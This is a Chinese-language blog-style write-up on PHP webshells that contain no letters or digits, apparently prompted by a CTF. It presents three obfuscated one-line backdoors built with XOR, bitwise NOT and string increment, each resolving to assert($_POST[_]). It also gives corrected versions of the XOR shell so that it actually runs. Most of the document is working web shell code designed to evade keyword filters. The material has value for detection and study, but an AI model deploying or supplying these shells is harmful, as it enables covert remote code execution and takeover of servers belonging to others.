不包含数字字母的WebShell

libo

一：前言

前一整子SUCTF没时间玩，只能偷偷关注群消息，然后看到 Wfox 师傅FUZZ出来的一个webshell挺好玩的，于是偷偷记下。今天有空，就查阅了一些资料，整理一番。

一、使用异或 ^ 运算
[pre]
<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);
[/pre]
这个马是不能直接用的，因为代码中的url编码其实对应的是一个不可打印的特殊字符，这里只是为了显示程序方便，作者用url编码来取代，实际上木马应该是下面这个样子：

或者你还可以按照如下两种形式修改木马，使得木马可以运行。
[pre]
<?php
$_=(chr(0x01)^'`').(chr(0x13)^'`').(chr(0x13)^'`').(chr(0x05)^'`').(chr(0x12)^'`').(chr(0x14)^'`');
$__='_'.(chr(0x0D)^']').(chr(0x2F)^'`').(chr(0x0E)^']').(chr(0x09)^']');
$___=$$__;
$_($___[_]);// assert($_POST[_]);
?>
<?php $_=(urldecode('%01')^'`').(urldecode('%13')^'`').(urldecode('%13')^'`').(urldecode('%05')^'`').(urldecode('%12')^'`').(urldecode('%14')^'`');
$__='_'.(urldecode('%0D')^']').(urldecode('%2F')^'`').(urldecode('%0E')^']').(urldecode('%09')^']');
$___=$$__;
$_($___[_]);// assert($_POST[_]); ?>
[/pre]
二、使用取反 ~ 运算
[pre]
<?php $__=('>'>'<')+('>'>'<');
$_=$__/$__;
$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});

$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});
$_=$$_____;
$____($_[_]);// assert($_POST[_]);
[/pre]
三、使用自增运算 ++
[pre]
<?php @$_=[].'';
    @$___=$_[''];
    $_=$___;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
    $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
    $___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;
    $__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
    $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;
    $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
    $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;
    $____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
    $__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;
    $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
    $__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;
    $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
    $__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;
    $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
    $__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;
    @$___($_[_]);// assert($_POST[_]); ?>
[/pre]